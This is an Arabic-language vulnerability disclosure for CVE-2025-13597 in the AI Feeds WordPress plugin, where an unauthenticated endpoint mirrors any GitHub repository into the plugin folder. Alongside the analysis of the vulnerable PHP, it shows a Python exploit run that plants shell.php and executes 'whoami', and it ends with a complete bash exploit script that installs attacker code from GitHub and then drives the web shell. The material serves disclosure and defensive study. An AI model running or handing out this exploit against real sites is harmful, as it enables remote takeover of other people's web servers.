
AI Feeds <= 1.0.11 - رفع ملف تعسفي غير مصادق عليه
يحتوي إضافة ووردبريس AI Feeds في الإصدارات 1.0.11 وما دون على ثغرة تنفيذ تعليمات برمجية عن بُعد غير مصادق عليها في ملف actualizador_git.php. يمكن الوصول إلى هذا الملف مباشرة عبر HTTP دون أي تحقق من المصادقة أو التفويض، مما يسمح للمهاجمين غير المصادقين بتنزيل مستودعات GitHub عشوائية واستبدال ملفات الإضافة، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد.
تم توفير CVE-2025-13597.py لإثبات إمكانية قيام مهاجم عن بُعد برفع shell.php وتنفيذ تعليمات برمجية عن بُعد:
python3 CVE-2025-13597.py -t http://techcorp.cc -o d0n601 -r minimal-rce -k github_pat_YOURKEYHERE -c whoami
[*] Exploiting actualizador_git.php vulnerability...
[*] Downloading and installing shell from GitHub repository: d0n601/minimal-rce
Descargando d0n601/minimal-rce@main ...
Eliminando entradas extra...
Copiando archivos...
OK. Mirror aplicado en: /var/www/html/wp-content/plugins/ai-feeds
[*] Exploit executed. Checking if shell.php was created...
[*] Testing shell access...
www-data
[*] Shell should be accessible at:
http://techcorp.cc/wp-content/plugins/ai-feeds/shell.php?cmd=COMMAND
توجد الثغرة في /wp-content/plugins/ai-feeds/actualizador_git.php. يقوم هذا الملف بتنفيذ نظام عكس مستودع GitHub يمكن الوصول إليه مباشرة عبر HTTP دون أي ضوابط أمنية.
الوصول المباشر إلى الملف (السطر 1-17):
يفتقر الملف إلى الفحص القياسي لـ ABSPATH في ووردبريس (if (!defined('ABSPATH')) exit;) الذي يمنع الوصول المباشر عبر HTTP. تُقرأ المعاملات مباشرةً من $_GET دون تحقق:
$OWNER = $_GET['owner'] ?? 'cibeles';
$REPO = $_GET['repo'] ?? 'svn_ai-feeds';
$REF = $_GET['ref'] ?? 'main';
$TOKEN = $_GET['token'] ?? 'PON_AQUI_TU_TOKEN_PAT';
التحقق من الرمز المميز (السطر 26):
يتحقق التحقق الوحيد مما إذا كان الرمز المميز فارغًا أو هو القيمة الافتراضية. لا يتم إجراء أي مصادقة أو تفويض:
if ($TOKEN === '' || $TOKEN === 'PON_AQUI_TU_TOKEN_PAT') {
http_response_code(400);
exit("Falta token\n");
}
طلب API من GitHub (السطر 31، 35-58):
يقوم السكربت بتنزيل ملف ZIP من API الخاص بـ GitHub باستخدام معاملات يتحكم بها المستخدم:
$apiUrl = "https://api.github.com/repos/{$OWNER}/{$REPO}/zipball/" . rawurlencode($REF);
curl_download($apiUrl, $zip, $TOKEN);
ترسل الدالة curl_download() الرمز المميز في هيدر Authorization ولكنها لا تجري أي تحقق من مالك المستودع أو محتوياته.
استخراج الملف المضغوط وعمليات الملفات (السطر 144-169):
يتم استخراج الملف المضغوط الذي تم تنزيله ونسخ الملفات مباشرةً إلى دليل الإضافة:
$zipArc->extractTo($extractDir);
$rootInsideZip = $extractDir . DIRECTORY_SEPARATOR . $entries[0];
rrcopy_into($rootInsideZip, $cwd, $PRESERVE);
تقوم الدالة rrcopy_into() بنسخ جميع الملفات بشكل متكرر من المستودع المستخرج إلى دليل العمل الحالي (دليل الإضافة)، مع استبدال الملفات الموجودة.
حذف الملفات (السطر 164-165):
يتم حذف الملفات غير الموجودة في المستودع الذي تم تنزيله:
mirror_delete_extras($cwd, $keepSet, $PRESERVE);
تقوم الدالة mirror_delete_extras() بحذف أي ملفات في دليل الإضافة غير موجودة في بيان المستودع.
TARGET="http://example.com"
OWNER="your_username"
REPO="minimal-rce"
TOKEN="github_pat_blablabla"
COMMAND="whoami"
echo "[*] Exploiting actualizador_git.php vulnerability..."
echo "[*] Downloading and installing shell from GitHub repository: ${OWNER}/${REPO}"
curl -s "${TARGET}/wp-content/plugins/ai-feeds/actualizador_git.php?owner=${OWNER}&repo=${REPO}&ref=main&token=${TOKEN}"
echo ""
echo "[*] Exploit executed. Checking if shell.php was created..."
echo ""
echo "[*] Testing shell access..."
curl -s "${TARGET}/wp-content/plugins/ai-feeds/shell.php?cmd=${COMMAND}"
echo ""
echo ""
echo "[*] Shell should be accessible at:"
echo " ${TARGET}/wp-content/plugins/ai-feeds/shell.php?cmd=COMMAND"